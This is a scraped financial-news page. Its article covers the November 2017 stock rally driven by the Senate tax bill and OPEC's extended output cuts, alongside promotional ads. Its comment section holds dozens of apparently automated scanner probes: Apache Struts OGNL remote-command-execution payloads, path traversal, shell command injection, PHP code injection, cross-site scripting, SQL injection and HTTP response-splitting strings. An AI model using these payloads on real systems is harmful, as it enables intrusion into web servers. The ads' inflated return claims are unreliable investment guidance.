InvestingDaily.com

Account Information

  • My Account

    Manage all your subscriptions, update your address, email preferences and change your password.

  • Help Center

    Get answers to common service questions, ask the analyst or contact our customer service department.

  • My Stock Talk Profile

    Update your stock talk name and/or picture.



Close
FEATURED STRATEGY

Get rich from the world’s most BORING stocks

Get rich from the world's most BORING stocksWhen you buy these dependable Steady Eddies, you’ll see why “boring is beautiful.” You’ll fall in love with the 39 “stodgy” stocks currently in my portfolio… because they’ve racked up an average gain of 455%. That’s enough to turn $10,000 into a staggering $55,500! These “yawners” can slam the door on your money worries. Click here to get started now.

 

Stocks on Steroids: Tax Hopes, OPEC Deal Push Dow Past 24K

By John Persinos on November 30, 2017

You can thank Sen. John McCain (R-AZ) for Thursday’s rally. OPEC also deserves a nod.

The maverick Senator announced Thursday that he supported the GOP’s sweeping package of tax cuts, increasing the legislation’s odds of passage. A marathon debate over the bill is currently underway in the Senate.

Also on Thursday, OPEC and its partners met in Vienna and agreed to prolong the existing output curbs until the end of 2018. They were set to lapse in March.

The two news developments acted like a double shot of steroids for stocks. All three indices closed sharply higher. The Dow Jones Industrial Average rocketed past 24,000 for the first time.

Below, I examine the tax bill. But first, let’s talk about energy.

Sheikh, rattle and roll…

OPEC production cuts have been in place since the start of 2017. They’ve helped halve global oil inventories. Energy prices have bounced back from their long recession. But energy rallies have faded before. Bearish inventory reports show the glut persists.

Cheating could weaken Thursday’s deal. That would send oil prices falling again. Many energy companies remain indebted. They’re vulnerable to oil price gyrations. That’s why the news from Vienna was welcomed.

In advance of Thursday’s meeting, the market’s biggest fear was that OPEC would abandon its production cuts and let member countries produce as much oil as they want. This didn’t happen.

The broad based stock market rally on Thursday is further proof that markets climb a wall of worry. And yet that worry lingers. Energy volatility continues to roil markets. How did we get into this mess?

In 2014, Saudi Arabia started a price war by throwing open production. The desert kingdom created a glut to push down oil prices. Their goal was to shake up shale producers in the U.S.

With trillions in cash on hand, the Saudis thought they could outlast competitors. The OPEC leader figured it had the resources to wait until rivals went bust. With the competition on the ropes, Saudi Arabia would curtail production to drive up prices again. They would grab market share while prices were high.

That was the plan, anyway. Wars often follow unintended paths. This war got out of control.

Shale producers rattled the sheiks by perfecting hydraulic fracturing (aka “fracking”). This method can cheaply tap previously inaccessible oil. Fracking operations make money, even when oil prices are low. Saudi production costs are higher. It was the Saudis who almost rolled over and went bankrupt.

The Saudi price war was one of the greatest economic blunders in modern times. OPEC is trapped in a no-win situation. U.S. shale producers benefit whether the cartel extends the cuts or abandons them.

Energy supply and demand are out of whack. But OPEC’s embrace Thursday of an extended production cut helps restore balance.

The price of crude hovers above $50 per barrel, the breakeven point for energy firms. The U.S. benchmark West Texas Intermediate (WTI) on Thursday stayed flat at $57.30 per barrel. The international benchmark, Brent North Sea crude, gained 9 cents, or +0.14%, to settle at $62.62/bbl. WTI has rebounded about 123% since hitting a low of $26.21 a barrel in early February 2016.

Despite Thursday’s agreement, the energy markets remain dicey. Demand isn’t strong enough to mop up the excess crude that’s sloshing around the world.

Saudi Arabia faces an identity crisis. The country seeks to diversify its economy. The House of Saud is pouring billions into innovative firms that aren’t involved in fossil fuels. These investments are tailwinds for the technology sector. Tech stocks were among the biggest gainers Thursday.

Congress and your nest egg…

Now let’s look at Thursday’s other big story — tax reform.

Proposals under consideration on Capitol Hill would represent the biggest change to the tax code since 1986.

The bill wouldn’t just cut taxes; it would change the American way of life.

The Senate is preparing to vote. Details are still getting hammered out. The corporate tax rate would get cut; the only question is by how much. The current rate of 35% could get slashed to as low as 20%. The top rate on “pass through” business income reported and taxed on individual returns could drop from 39.6% to 25%.

But many tax breaks and deductions popular with individual investors are in the cross hairs. For example, under consideration is a curb on pretax 401k catch-up contributions.

For now, Wall Street is thrilled over the prospects of lower business taxes. The Dow in November posted its eighth straight monthly gain, its longest such streak in 22 years.

Thursday Market Wrap

  • DJIA: +1.39% or +331.67 points to close at 24,272.35
  • S&P 500: +0.82% or +21.51 points to close at 2,647.58
  • Nasdaq: +0.73% or +49.58 points to close at 6,873.97

Thursday’s Big Gainers

Grocery chain posts blow-out Q3.

Analysts upgrade managed care firm.

Software firm’s Q4 beats estimates.

Thursday’s Big Losers

Beleaguered bookselling chain posts huge Q2 loss.

Router maker plunges after Nokia (NYSE: NOK) denies merger rumors.

Weak guidance batters shares.

Letters to the Editor

In response to my coverage on Wednesday about the continuing woes of Sears Holdings (NSDQ: SHLD), I received this reader email:

“The last few times I went to Sears to buy something out of necessity, I was pressured to take out a new credit card, even though I was paying for my purchases with a SEARS credit card! The clerk told me it was an upgrade on my current card, and I would get a 10% discount on my purchase if I signed up.

She lied, it was a NEW card, which I had to later cancel since I didn’t want or need it. I didn’t fall for this scam the next couple of the times I shopped Sears. Sears management has destroyed customer trust; their sales tactics are underhanded. No surprise that they’re going under.” — Gerald T.

Thanks for your feedback, Gerald. Retail was the big topic this week, until tax reform grabbed the headlines.

Got any questions about tax reform and how it might affect you? Now’s the time to get your tax ducks in a row. Drop me a line and I’ll answer your query: mailbag@investingdaily.com

John Persinos is managing editor of Personal Finance and chief investment strategist of Breakthrough Tech Profits.

 


You might also enjoy…

 

Forget Buy and Hold. Here’s how to retire faster…

I’m not a fan of “buy and hold.” Gurus like to tell you that patience is the key, but I call horse puckey.

We’ve discovered an investing technique that consistently pays out easy-to-repeat profits.

One that’s proven to beat the market 2,082% in head-to-head testing.

And one that’s generated over 488 winners since 2011.

This method is so powerful, in fact, some of the investors we’ve let use it reported back to us saying they’ve made $71,425… $82,371… and even as much as $151,000 in a single year thanks to this “trick.”

That’s how powerful this investing technique is!

What what exactly is this mysterious method? I’ve put all the details together here.

Stock Talk — Post a comment Comment Guidelines

Our Stock Talk section is reserved for productive dialogue pertaining to the content and portfolio recommendations of this service. We reserve the right to remove any comments we feel do not benefit other readers. If you have a general investment comment not related to this article, please post to our Stock Talk page. If you have a personal question about your subscription or need technical help, please contact our customer service team. And if you have any success stories to share with our analysts, they’re always happy to hear them. Note that we may use your kind words in our promotional materials. Thank you.

You must be logged in to post to Stock Talk OR create an account.

Create a new Investing Daily account

  • - OR -

* Investing Daily will use any information you provide in a manner consistent with our Privacy Policy. Your email address is used for account verification and will remain private.

Stock Talk

  1. avatar
    John Reply December 12, 2017 at 7:03 AM EDT

    |ping -c2 -i90 localhost|

  2. avatar
    John Reply December 12, 2017 at 7:02 AM EDT

    |ping -c2 -i90 localhost

  3. avatar
    John Reply December 12, 2017 at 7:02 AM EDT

    ping -c2 -i90 localhost

  4. avatar
    John Reply December 12, 2017 at 7:01 AM EDT

    */;(function(){qxss});/*

  5. avatar
    John Reply December 12, 2017 at 7:00 AM EDT

    9
    ;(function(){qxss});//

  6. avatar
    John Reply December 12, 2017 at 7:00 AM EDT

    9;(function(){qxss});//

  7. avatar
    John Reply December 12, 2017 at 6:59 AM EDT

    ‘;(function(){qxss});//

  8. avatar
    John Reply December 12, 2017 at 6:59 AM EDT

    “);(function(){qxss});//

  9. avatar
    John Reply December 12, 2017 at 6:59 AM EDT

    “;(function(){qxss});//

  10. avatar
    John Reply December 12, 2017 at 6:58 AM EDT

    http://rfitest/

  11. avatar
    John Reply December 12, 2017 at 6:57 AM EDT

    |netstat -an

  12. avatar
    John Reply December 12, 2017 at 6:57 AM EDT

    a(){}phpinfo(); function a

  13. avatar
    John Reply December 12, 2017 at 6:56 AM EDT

    %{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context[‘com.opensymphony.xwork2.ActionContext.container’]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#str1=’A2B8C3′).(#str2=’q2d1hi3j’).(#str3=’B4D7e6′).(#str=#str2+’:QQ:’+#str1+’:PP:’+#str3).(#cmd=’echo ‘+ #str).(#iswin=(@java.lang.System@getProperty(‘os.name’).toLowerCase().contains(‘win’))).(#cmds=(#iswin?{‘cmd.exe’,’/c’,#cmd}:{‘/bin/bash’,’-c’,#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}

  14. avatar
    John Reply December 12, 2017 at 6:56 AM EDT

    %25{(#_=’multipart/form-data’).(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context[‘com.opensymphony.xwork2.ActionContext.container’]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#str1=’A2B8C3′).(#str2=’q9d4hi5j’).(#str3=’R9D7e8′).(#str=#str2+’:QQ:’+#str1+’:TT:’+#str3).(#cmd=’echo ‘+ #str).(#iswin=(@java.lang.System@getProperty(‘os.name’).toLowerCase().contains(‘win’))).(#cmds=(#iswin?{‘cmd.exe’,’/c’,#cmd}:{‘/bin/bash’,’-c’,#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

  15. avatar
    John Reply December 12, 2017 at 6:56 AM EDT

    %{(#_=’multipart/form-data’).(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context[‘com.opensymphony.xwork2.ActionContext.container’]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#str1=’A2B8C3′).(#str2=’q9d4hi5j’).(#str3=’R9D7e8′).(#str=#str2+’:QQ:’+#str1+’:TT:’+#str3).(#cmd=’echo ‘+ #str).(#iswin=(@java.lang.System@getProperty(‘os.name’).toLowerCase().contains(‘win’))).(#cmds=(#iswin?{‘cmd.exe’,’/c’,#cmd}:{‘/bin/bash’,’-c’,#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

  16. avatar
    John Reply December 12, 2017 at 6:55 AM EDT

    ../../../../../../../Windows/System32/drivers/etc/hosts

  17. avatar
    John Reply December 12, 2017 at 6:52 AM EDT

    1e309

  18. avatar
    John Reply December 12, 2017 at 6:52 AM EDT

    (

  19. avatar
    John Reply December 12, 2017 at 6:51 AM EDT

    ,

  20. avatar
    John Reply December 12, 2017 at 6:51 AM EDT

  21. avatar
    John Reply December 12, 2017 at 6:50 AM EDT

    /*

  22. avatar
    John Reply December 12, 2017 at 6:50 AM EDT

    #

  23. avatar
    John Reply December 12, 2017 at 6:50 AM EDT

    ;–

  24. avatar
    John Reply December 12, 2017 at 6:49 AM EDT

    1′

  25. avatar
    John Reply December 12, 2017 at 6:49 AM EDT

    q
    Content-Type:text/html
    Content-Length: 190

    HTTP/1.1 200 OK
    Content-Type: text/html
    Set-Cookie: a=q
    Content-Length: 2

    AA

  26. avatar
    John Reply December 12, 2017 at 6:48 AM EDT

    <script src=http://localhost/j

  27. avatar
    John Reply December 12, 2017 at 6:48 AM EDT

    %3cscript z%3e_q(y)%3c/script%3e

  28. avatar
    John Reply December 12, 2017 at 6:47 AM EDT

    qss=7

  29. avatar
    John Reply December 12, 2017 at 6:47 AM EDT

    ” onEvent=X3067137212Y1Z

  30. avatar
    John Reply December 12, 2017 at 6:46 AM EDT

    ‘ onEvent=X3067137212Y1Z

  31. avatar
    John Reply December 12, 2017 at 6:45 AM EDT

    BODY{background:url(“javascript:qss=7”)}

  32. avatar
    John Reply December 12, 2017 at 6:45 AM EDT

    1″>

  33. avatar
    John Reply December 12, 2017 at 6:43 AM EDT

    “‘><qss=7;//<

  34. avatar
    John Reply December 12, 2017 at 6:41 AM EDT

    ” SRC=//localhost/j>

  35. avatar
    John Reply December 12, 2017 at 6:41 AM EDT
  36. avatar
    John Reply December 12, 2017 at 6:40 AM EDT

    1 _q_q=random()

  37. avatar
    John Reply December 12, 2017 at 6:40 AM EDT

    _q=random(X3067137212Y1Z)

  38. avatar
    John Reply December 12, 2017 at 6:39 AM EDT

    “‘>

  39. avatar
    John Reply December 12, 2017 at 6:39 AM EDT

    z–>

  40. avatar
    John Reply December 12, 2017 at 6:38 AM EDT

    1″‘>

  41. avatar
    John Reply December 12, 2017 at 6:37 AM EDT

    “>

  42. avatar
    John Reply December 12, 2017 at 5:23 AM EDT

    1